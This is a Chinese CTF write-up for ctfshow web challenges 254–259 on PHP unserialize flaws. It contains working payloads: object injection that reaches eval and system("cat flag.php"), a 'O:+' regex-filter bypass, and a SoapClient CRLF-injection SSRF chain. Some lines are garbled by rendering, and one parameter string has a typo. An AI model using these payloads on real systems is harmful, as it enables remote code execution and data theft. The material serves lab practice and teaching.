ctfshow web入门 序列化

序列化和反序列化

web254

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

源码中并没有序列化,所以类中的函数都不能触发,所以直接get传参,让username和password的值都等于原来的初始值

?password=xxxxxx&password=xxxxxx

web255

 <?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);                    //这里使用了反序列化 
    if($user->login($username,$password)){
        if($user->checkVip()){ 
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

PHP 的 C O O K I E 变 量 用 于 取 回 c o o k i e 的 值 。 ‘ _COOKIE 变量用于取回 cookie 的值。` C​OOKIE变量用于取回cookie的值。‘_COOKIE[‘user’]`即是取回名叫user的cookie的值,所以这题要抓包在cookie头注入

构造序列化,因为输出flag的条件是isvip为真,所以就将类中的isVip属性进行序列化

 <?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
    public $isVip=true;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$a=new ctfshowUser();
$b=serialize($a);
echo $b;
O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}

将序列化的内容通过url编码从cookie头传入可以得到flag

ctfshow web入门 序列化

web256

 <?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){                   //要求username和password的值不同
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

构造序列化

 <?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='123456';
    public $password='xxxxxx';
    public $isVip=true;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){                   //要求username和password的值不同
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}
$a=new ctfshowUser();
$b=serialize($a);
echo $b;
O:11:"ctfShowUser":3:{s:8:"username";s:6:"123456";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:1;}
O%3a11%3a%22ctfShowUser%22%3a3%3a%7bs%3a8%3a%22username%22%3bs%3a6%3a%22123456%22%3bs%3a8%3a%22password%22%3bs%3a6%3a%22xxxxxx%22%3bs%3a5%3a%22isVip%22%3bb%3a1%3b%7d

ctfshow web入门 序列化

web257

 <?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);                        //这里可以利用eval函数执行命令执行命令
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

构造序列化

 <?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $class = ' ';

    public function __construct(){
        $this->class=new backDoor();
    }

}

class backDoor{
    private $code='system("cat flag.php");';
 
}

$a=new ctfShowUser();
$b=serialize($a);
echo $b;

O:11:"ctfShowUser":1:{s:18:"%00ctfShowUser%00class";O:8:"backDoor":1:{s:14:"%00backDoor%00code";s:23:"system("cat flag.php");";}}
抓包后再cookie头注入以下内容
user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D

web258

源码

 <?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

这题比上题多了一个正则绕过,/[oc]:\d+:/i这题过滤的是O:数字的格式,本来没想到怎么处理,看了wp,这里再O和数字之间吗加上+就可以实现绕过了,但是序列化完再进行url编码就就可以绕过了

 <?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $class = ' ';

    public function __construct(){
        $this->class=new backDoor();
    }

}

class backDoor{
    private $code='system("cat flag.php");';        //或者system('cat f*')
 
}
$a=new ctfShowUser();
$b=serialize($a);
echo $b;

//O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:14:"backDoorcode";s:23:"system("cat flag.php");";}}
//O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D
?username=xxxxxx&password=xxxxxx

user=O%3A%2b11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2b8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D

ctfshow web入门 序列化

如上图注入即可得到flag

web259

没看懂

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

百度这里用到的是php的原生类SoapClient

构造以下函数

public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

ctfshow web入门 序列化
flag.php源码

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}
12345678910111213

当然这是个不完整的源码,应该还有一条判断真实ip的也就是

if($_SERVER['REMOTE_ADDR']==='127.0.0.1'){
xxxxxx;
}
123

所以首先得利用ssrf访问flag.php接着构造post数据 toke=ctfshow和请求头X-Forwarded-For 就能把flag写到flag.txt中了。
那么ssrf漏洞在哪呢,这就得用到我们前面提到的SoapClient类了。这个类中有个__call魔术方法(当调用不存在的方法时触发),会调用SoapClient类的构造方法。
另外用到的一个文章识点就是CRLF,具体的可以先看下大佬写的[文章](https://wooyun.js.org/drops/CRLF Injection漏洞的利用与实例分析.html)
payload:

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>
12345678

直接get传vip=xxx就可以了,最后访问/flag.txt应该就能拿到flag了。

上一篇:CTFSHOW中期测评486-509(持续更新中)


下一篇:CTFshow 反序列化wp